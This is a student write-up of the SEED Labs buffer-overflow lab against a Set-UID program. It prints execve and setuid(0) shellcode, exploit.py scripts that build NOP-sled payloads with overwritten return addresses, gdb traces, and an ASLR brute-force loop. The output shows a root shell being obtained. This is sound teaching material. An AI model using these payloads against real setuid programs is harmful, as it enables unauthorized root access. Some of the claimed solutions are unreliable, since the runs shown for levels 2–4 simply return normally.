SEED Labs 2.0: Buffer-Overflow Attack Lab (Set-UID Version) Writeup
17 Nov 2021
For general overview and the setup package for this lab, please go to SEED Labs official website. The lab assignment was conducted using SEED virtual machine configured on a AWS EC2 instance.
Traditionally, UNIX systems associate with each process some credentials, which bind the process to a specific user and a specific user group.
Name | Description |
---|---|
uid , gid |
User and group real identifiers |
euid , egid |
User and group effective identifiers |
fsuid , fsgid |
User and group effective identifiers for file access |
groups |
Supplementary group identifiers |
suid , sgid |
User and group saved identifiers |
A UID of 0 specifiers the superuser (root), while a user group ID of 0 specifies the root group. If a process credential stores a value of 0, the kernel bypasses the permission checks and allows the privileged process to perform various actions, such as those referring to system administration or hardware manipulation, that are not possible to unprivileged processes. When the process executes a set-uid program — that is, an executable file whose setuid
flag is on — the euid
and fsuid
fields are set to the identifier of the file’s owner. UNIX’s long history teaches the lession that setuid programs are quite dangerous: malicious users could triggers some programming errors (bugs) in the code to force setuid programs to perform operations that were never planned by the program’s original designers.
Table of Contents
- Environment Setup
- Task 1: Getting Familiar with Shellcode
- Task 2: Understanding the Vulnerable Program
- Task 3: Launching Attack on $32$-bit Program (Level 1)
- Task 4: Launching Attack without Knowing Buffer Size (Level 2)
- Task 5: Launching Attack on $64$-bit Program (Level 3)
- Task 6: Launching Attack on $64$-bit Program (Level 4)
- Task 7: Defeating
dash
’s Countermeasure - Task 8: Defeating Address Randomization
- Notes
Environment Setup
Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult. This feature can be disabled using the following command:
$ sudo sysctl -w kernel.randomize_va_space=0
The dash
program, as well as bash
, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process2. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process’s real user ID, essentially dropping the privilege. The following command can be used to link /bin/sh
to zsh
which does not have such a countermeasure:
$ sudo ln -sf /bin/zsh /bin/sh
Task 1: Getting Familiar with Shellcode
The following C program executes a shell program (/bin/sh
) using the execve()
system call:
#include <stddef.h>
void main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
A naive thought is to compile the above code into binary, and then save it to the input file, e.g., badfile
. Then we set the targeted return address field to the address of the main()
function, so when the vulnerable program returns, it jumps to the entrance of the above code. Unfortunately, this does not work for several reasons:
-
The loader issue: Before a normal program runs, it needs to be loaded into memory and its running environment needs to be set up. These jobs are conducted by the OS loader, which is responsible for setting up the memory (such as stack and heap), copying the program into memory, invoking the dynamic linker to the needed library functions, etc. After all the initialization is done, the
main()
function will be triggered. If any of the steps is missing, the program will not be able to run correctly. In a buffer overflow attack, the malicious code is not loaded by the OS; it is loaded directly via memory copy. Therefore, all the essential initialization steps are missing; even if we can jump to themain()
function, we will not be able to get the shell program to run. -
Zeros in the code: String copying will stop when a zero is found in the source string. When we compile the above C code into binary, at least three zeros will exist in the binary code.
Invoking the shellcode
/* call_shellcode.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Binary code for setuid(0)
// 64-bit: "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit: "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
const char shellcode[] =
#if __x86_64__
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;
int main(int argc, char **argv)
{
char code[500];
strcpy(code, shellcode);
int (*func)() = (int(*)())code;
func();
return 1;
}
Compile and the run the call_shellcode.c
program:
~/Documents/BufferSetUID/shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
~/Documents/BufferSetUID/shellcode$ ./a32.out
$ echo -ne 'Don't go gentle into that good night/'
> .!?'
Dont go gentle into that good night/
.!?%
$ exit
~/Documents/BufferSetUID/shellcode$ ./a64.out
$ echo -ne 'Oh Danny Boy the pipes the pipes are calling.'
Oh Danny Boy the pipes the pipes are calling.%
Task 2: Understanding the Vulnerable Program
The stack.c
program shown below reads $517$ bytes of data from a file called “badfile
”, and then copies the data to a buffer of size $100$:
/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
*/
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
void dummy_function(char *str);
int bof(char *str)
{
char buffer[BUF_SIZE];
// The following statement has a buffer overflow problem
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
if (!badfile) {
perror("Opening badfile"); exit(1);
}
int length = fread(str, sizeof(char), 517, badfile);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
char dummy_buffer[1000];
memset(dummy_buffer, 0, 1000);
bof(str);
}
Compile and run stack.c
:
~/Documents/BufferSetUID/code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -m32 -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -m32 -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -m32 -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -m32 -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
~/Documents/BufferSetUID/code$ ls
Makefile stack-L1 stack-L2-dbg stack-L4
brute-force.sh stack-L1-dbg stack-L3 stack-L4-dbg
exploit.py stack-L2 stack-L3-dbg stack.c
Task 3: Launching Attack on $32$-bit Program (Level 1)
Investigation
~/Documents/BufferSetUID/code$ touch badfile
~/Documents/BufferSetUID/code$ gdb stack-L1-dbg
gdb-peda$ break bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Documents/BufferSetUID/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcdb8 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffd1a0 --> 0xf7fb5000 --> 0x1e6d6c
ESI: 0xf7fb5000 --> 0x1e6d6c
EDI: 0xf7fb5000 --> 0x1e6d6c
EBP: 0xffffd1a8 --> 0xffffd3d8 --> 0x0
ESP: 0xffffcd9c --> 0x565563ee (<dummy_function+62>: add esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565562a4 <frame_dummy+4>: jmp 0x56556200 <register_tm_clones>
0x565562a9 <__x86.get_pc_thunk.dx>: mov edx,DWORD PTR [esp]
0x565562ac <__x86.get_pc_thunk.dx+3>: ret
=> 0x565562ad <bof>: endbr32
0x565562b1 <bof+4>: push ebp
0x565562b2 <bof+5>: mov ebp,esp
0x565562b4 <bof+7>: push ebx
0x565562b5 <bof+8>: sub esp,0x74
[------------------------------------stack-------------------------------------]
0000| 0xffffcd9c --> 0x565563ee (<dummy_function+62>: add esp,0x10)
0004| 0xffffcda0 --> 0xffffd1c3 --> 0x456
0008| 0xffffcda4 --> 0x0
0012| 0xffffcda8 --> 0x3e8
0016| 0xffffcdac --> 0x565563c3 (<dummy_function+19>: add eax,0x2bf5)
0020| 0xffffcdb0 --> 0x0
0024| 0xffffcdb4 --> 0x0
0028| 0xffffcdb8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, bof (str=0xffffd1c3 "V\004") at stack.c:16
16 {
When gdb
stops inside the bof
function, it stops before the %ebp
register is set to point to the current stack frame, so if we print out the value of $ebp
here, we will get the caller’s $ebp
value. We need to use the next
command3 to execute a few instructions and stop after the %ebp
register is modified to point to the stack frame of the bof
function.
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffd1a0 --> 0xf7fb5000 --> 0x1e6d6c
ESI: 0xf7fb5000 --> 0x1e6d6c
EDI: 0xf7fb5000 --> 0x1e6d6c
EBP: 0xffffcd98 --> 0xffffd1a8 --> 0xffffd3d8 --> 0x0
ESP: 0xffffcd20 ("1pUV\264\321\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>: sub esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565562b5 <bof+8>: sub esp,0x74
0x565562b8 <bof+11>: call 0x565563f7 <__x86.get_pc_thunk.ax>
0x565562bd <bof+16>: add eax,0x2cfb
=> 0x565562c2 <bof+21>: sub esp,0x8
0x565562c5 <bof+24>: push DWORD PTR [ebp+0x8]
0x565562c8 <bof+27>: lea edx,[ebp-0x6c]
0x565562cb <bof+30>: push edx
0x565562cc <bof+31>: mov ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 ("1pUV\264\321\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
0004| 0xffffcd24 --> 0xffffd1b4 --> 0x0
0008| 0xffffcd28 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffcd2c --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffcd30 --> 0x0
0020| 0xffffcd34 --> 0x0
0024| 0xffffcd38 --> 0x0
0028| 0xffffcd3c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20 strcpy(buffer, str);
Print out $ebp
and the buffer’s address:
gdb-peda$ p $ebp
$1 = (void *) 0xffffcd98
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcd2c
Launching attacks
Since the value of the stack frame pointer is 0xffffcd98
, the return address is stored in 0xffffcd98 + 4
; the first address that we can jump to is 0xffffcd98 + 8
, which can be put inside the return address field. The distance between the address of the %ebp
register (0xffffcd98
) and the buffer (0xffffcd2c
) is 0x6c
, which is $108$ in decimal notation. Therefore, the distance between the buffer’s starting point and the return address field is $112$.
To generate the “badfile
” using exploit.py
, an array of size $517$ bytes is created and filled with 0x90
(the NOP
instruction). Since gdb
may push some additional data onto the stack at the beginning, causing the stack frame to be allocated deeper than it would be when the program executes directly, the first address that we can jump to may be higher than $ebp + 8
. Here I choose $ebp + 120
. The return address field starts from offset $112$ and ends at offset $116$ (not including $116$), i.e., content[112:116]
. The x86 architecture uses the little-endian order, so in Python, when putting a $4$-byte address into the memory, byteorder='little'
is used to specify the byte order.
At the end of the “badfile
”, a bunch of shellcode is included, the aim of which is to use the execve()
system call to run /bin/sh
. The corresponding program is presented in Task 1. Registers %eax
, %ebx
, %ecx
, %edx
should be configured correctly. A system call is executed using the instruction int $0x80
.
"\x31\xc0" # xorl %eax, %eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp, %ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp, %ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b, %al
"\xcd\x80" # int $0x80
- Line 1: Using XOR operation on
%eax
will set%eax
to zero without introducing a zero in the code. - Line 2: Push a zero onto the stack, which marks the end of the “
/bin/sh
” string. - Line 3: Push “
//sh
” onto the stack (double slash, treated by the system call as the same as the single slash, is used because $4$ bytes are needed for instruction). - Line 4: Push “
/bin
” onto the stack. The stack pointer%esp
now points to the beginning of the string. - Line 5: Move
%esp
to%ebx
. - Line 6: Construct the second item of the
name
array. - Line 7: Form the first entry of the
name
array. - Line 8: Save the value of
%esp
to%ecx
. Now theecx
register contains the address of thename
array. - Line 9: Basically, the instruction copies the sign bit of the value in
%eax
into every bit position in%edx
, sets%edx
to zero. - Line 10: Save the system call number ($11$ for
execve()
) in theeax
register (%al
represents the lower $8$ bits of theeax
register, the higher bits are still zero). - Line 11: Executes the system call.
int
means interrupt, which transfers the program flow to the interrupt handler.
The modified exploit.py
program is listed below:
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcd98 + 120 # Change this number
offset = 112 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
Run stack-L1
:
~/Documents/BufferSetUID/code$ ./stack-L1
Input size: 517
# id
uid=1001(seed) gid=1001(seed) euid=0(root) groups=1001(seed),120(docker)
#
Root shell is obtained!
Task 4: Launching Attack without Knowing Buffer Size (Level 2)
Before comming up with a solution, I created a $1024$-byte random pattern and run in gdb
:
gdb-peda$ pattern create 1024 pat-L2
Writing pattern of 1024 chars to filename "pat-L2"
gdb-peda$ run $(cat pat-L2)
Starting program: /home/seed/Documents/BufferSetUID/code/stack-L2-dbg $(cat pat-L2)
Input size: 517
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x90909090
ECX: 0xffffcff0 --> 0x90909090
EDX: 0xffffcb1d --> 0x90909090
ESI: 0xf7faa000 --> 0x1e6d6c
EDI: 0xf7faa000 --> 0x1e6d6c
EBP: 0x90909090
ESP: 0xffffc9d0 --> 0x90909090
EIP: 0x90909090
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x90909090
[------------------------------------stack-------------------------------------]
0000| 0xffffc9d0 --> 0x90909090
0004| 0xffffc9d4 --> 0x90909090
0008| 0xffffc9d8 --> 0x90909090
0012| 0xffffc9dc --> 0x90909090
0016| 0xffffc9e0 --> 0x90909090
0020| 0xffffc9e4 --> 0x90909090
0024| 0xffffc9e8 --> 0x90909090
0028| 0xffffc9ec --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x90909090 in ?? ()
This is what I got from x/200x $esp
:
0xffffca80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffca90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcaa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcab0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcac0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcad0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcae0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcaf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcb00: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcb10: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffcb20: 0x90909090 0x00020590 0x00000000 0x00000000
0xffffcb30: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcb40: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcb50: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcb60: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcb70: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcb80: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcb90: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcba0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcbb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcbc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcbd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcbe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcbf0: 0x00000000 0x00000000 0x00000000 0x00000000
Obtain the address of the buffer:
gdb-peda$ x $ebp
0xffffcdc8: 0xffffd1d8
gdb-peda$ p/d 0xffffd1d8 - 0xffffcdc8
$1 = 1040
gdb-peda$ x $esp
0xffffcd20: 0
gdb-peda$ x $eip
0x565562c5 <bof+24>: -16192381
gdb-peda$ x &buffer
0xffffcd20: 0
The spraying approach puts all the possible locations of return address into the badfile
, instead of one location. Since we know that the range of the buffer size is from $100$ to $200$ bytes, the actual distance between the return address field and the beginning of the buffer will be at most $200$ plus some small value; I use $220$ here. If the first $220$ bytes of the buffer (from 0xffffcd20
to 0xffffcd20 + 220
) are all sprayed with the return address, it can be assured that one of them will overwrite the actual return address field.
The modified exploit.py
program is presented below:
#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
).encode('latin-1')
content = bytearray(0x90 for i in range(517))
start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode
ret = 0xffffcd24 + 220
L = 4
addr = (ret).to_bytes(L, byteorder='little')
content[0 : 219] = addr * 55
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
Just as expected, level 2 is solved:
~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L2
Input size: 517
==== Returned Properly ====
Task 5: Launching Attack on $64$-bit Program (Level 3)
Although the x86-64 architecture supports $64$-bit address space, only the address from 0x00
through 0x00007fffffffffff
is allowed. That means for every address ($8$ bytes), the highest two bytes are always zeros. More specifically, in a typical $48$-bit implementation, canonical address refers to one in the range 0x00
through 0x00007fffffffffff
and 0xffff800000000000
through 0xffffffffffffffff
. Any address outside this range is non-canonical. In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied onto the stack via strcpy()
, which will stop copying when it sees a zero. Therefore, if zero appears in the middle of the payload, the content after the zero cannot be copied onto the stack. How to solve this problem is the most difficult challenge in this attack.
First, I modified the exploit.py
in the way that a badfile
filled with $1000$ A’s was generated:
content = b"A" * 1000
We can observe in the gdb
view that the vulnerability exists:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x555555555360 (<__libc_csu_init>: endbr64)
RCX: 0x414141 ('AAA')
RDX: 0x5
RSI: 0x7fffffffe240 --> 0x4141414141 ('AAAAA')
RDI: 0x7fffffffdd40 --> 0x4141414141 ('AAAAA')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdc18 ('A' <repeats 200 times>...)
RIP: 0x55555555525e (<bof+53>: ret)
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
R12: 0x555555555140 (<_start>: endbr64)
R13: 0x7fffffffe350 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
However, %rip
was not overwritten with A’s, since it did not load a non-canonical address:
Stopped reason: SIGSEGV
0x000055555555525e in bof (str=0x7fffffffe040 'A' <repeats 200 times>...)
at stack.c:23
23 }
gdb-peda$ p $rip
$1 = (void (*)()) 0x55555555525e <bof+53>
gdb-peda$ x $rip
0x55555555525e <bof+53>: "\303\363\017\036\372UH\211\345H\201\354\060\002"
gdb-peda$ x $rbp
0x4141414141414141: <error: Cannot access memory at address 0x4141414141414141>
If we set a breakpoint at the start of the bof
function and run again, we get:
Breakpoint 1, bof (str=0x2 <error: Cannot access memory at address 0x2>)
at stack.c:16
16 {
gdb-peda$ x $rsp
0x7fffffffdc18: 0x000055555555535c
gdb-peda$ x $rbp
0x7fffffffe020: 0x00007fffffffe260
Ater typing next
, we get:
20 strcpy(buffer, str);
gdb-peda$ x $rsp
0x7fffffffdb30: 0x00007fffffffdac0
gdb-peda$ x $rbp
0x7fffffffdc10: 0x00007fffffffe020
To better understand the stack frame layout in x86-64 architecture, I went through AMD64 ABI 1.0 published on December 22, 2018 and found something really helpful:
Each function has a frame on the run-time stack. This stack grows downwards from high addresses … The value
%rsp + 8
is always a multiple of $16$ ($32$ or $64$) when control is transferred to the function entry point. The stack pointer,%rsp
, always points to the end of the latest allocated stack frame. The $128$-byte area beyond the location pointed to by%rsp
is considered to be reserved and shall not be modified by signal or interrupt handlers. Therefore, functions may use this area for temporary data that is not needed across function calls. In particular, leaf functions may use this area for their entire stack frame, rather than adjusting the stack pointer in the prologue and epilogue. This area is known as the red zone … After the argument values have been computed, they are placed either in registers or pushed on the stack … The size of each argument gets rounded up to eight bytes (therefore the stack will always be eight-byte aligned).
It should be noted that the first six arguments are not pushed on the stack but stored in registers on a $64$-bit architecture whereas in a $32$-bit architecture all the function arguments are pushed on the stack. To conclude, the latest allocated stack frame from low to high addresses is arranged as follows: $128$-byte red zone, register %rsp
, local variables, register %rbp
, saved return address (which is the value in register %rip
), parameters. Whenever a function returns, the “saved return address” is popped from the stack and loaded in register %rsp
and execution continues from that address.
The offset can be found by:
gdb-peda$ p/x (unsigned long long) $rsp - (unsigned long long) &buffer
$1 = 0xd8
Then, exploit.py can be modified as:
content = bytearray(0x90 for i in range(517))
start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode
ret = 0x7fffffffdb40 + 220
L = 8
addr = (ret).to_bytes(L,byteorder='little')
content[0:0xd7] = addr * 27
with open('badfile', 'wb') as f:
f.write(content)
As a result, level 3 is solved:
~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L3
Input size: 517
==== Returned Properly ====
Task 6: Launching Attack on $64$-bit Program (Level 4)
Using the similar technique as in Level 2, I deployed the following exploit.py
file:
content = bytearray(0x90 for i in range(517))
start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode
ret = 0xffffe258 + 120
L = 8
addr = (ret).to_bytes(L, byteorder='little')
content[0 : 15] = addr * 2
with open('badfile', 'wb') as f:
f.write(content)
Note that L
is switched to $8$ and the designated return address will be taking $16$ bytes (i.e., the size of two words), considering that the buffer size is $10$.
As a result, level 4 is solved:
~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L4
Input size: 517
==== Returned Properly ====
Task 7: Defeating dash
’s Countermeasure
To begin with, let /bin/sh
point back to /bin/dash
:
$ sudo ln -sf /bin/dash /bin/sh
Compile and run call_shellcode.c
with the setuid()
system call:
~Documents/BufferSetUID/shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
~Documents/BufferSetUID/shellcode$ ./a32.out
# id
uid=0(root) gid=1001(seed) groups=1001(seed),120(docker)
# echo On the Bonnie Bonnie Banks of Loch Lomond
On the Bonnie Bonnie Banks of Loch Lomond
# exit
~Documents/BufferSetUID/shellcode$ ./a64.out
# id
uid=0(root) gid=1001(seed) groups=1001(seed),120(docker)
# whoami
root
# exit
Without the setuid()
system call:
~Documents/BufferSetUID/shellcode$ gcc -z execstack -o call_shellcode call_shellcode.c
~Documents/BufferSetUID/shellcode$ ./call_shellcode
$ whoami
seed
$ echo On the Bonnie Bonnie Banks of Loch Lomond
On the Bonnie Bonnie Banks of Loch Lomond
$ exit
~Documents/BufferSetUID/shellcode$ ./a32.out
$ whoami
seed
$ echo On the steep steep side of Ben Lomond
On the steep steep side of Ben Lomond
$ exit
~Documents/BufferSetUID/shellcode$ ./a64.out
$ whoami
seed
$ echo Ye'll take the high road and I'll take the low road
Yell take the high road and Ill take the low road
$ exit
We can tell according to the different results from the whoami
command that with the setuid()
system call real UID is changed to zero and the program is owned by root.
Based on this knowledge, to redo Task 3, I modified the shellcode block of exploit.py
:
!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcdc8 + 120 # Change this number
offset = 112 # Change this number
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
Running this code is able to get the root shell:
~/Documents/BufferSetUID/code$ vim exploit.py
~/Documents/BufferSetUID/code$ ./exploit.py
~/Documents/BufferSetUID/code$ ./stack-L1
Input size: 517
# id
uid=0(root) gid=1001(seed) groups=1001(seed),120(docker)
Task 8: Defeating Address Randomization
By resetting the environment
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
address space including the positions of the stack, virtual dynamic shared object page, shared memory regions, and data segments is randomized, which is the most secure system setting.
Use the following shell script to brute-force the attack:
#!/bin/bash
SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min = $(( $duration / 60 ))
sec = $(( $duration % 60 ))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack-L1
done
Notes
-
From Daniel P. Bovet and Marco Cesati, Understanding the Linux Kernel, Third Edition, O’Reilly, 2006. ⤴
-
A privileged program is one that can give users extra privileges beyond that are already assigned to them. A Set-Root-UID program is a privileged program because it allows users to gain the root privilege during the execution of the programs. For Set-UID programs in UNIX and UNIX-like operating systems, which stands for set user ID on execution, the effective
uid
is the owner of the program, while the realuid
is the user of the program. Windows does not have the notion of Set-UID. A different mechanism is used for implementing privileged functionality. A developer would write a privileged program as a service and the user sends the command line arguments to the service using Local Procedure Call. ⤴ -
Continue to the next source line in the current (innermost) stack frame. This is similar to
step
, but function calls that appear within the line of code are executed without stopping. Execution stops when control reaches a different line of code at the original stack level that was executing when you gave thenext
command. ⤴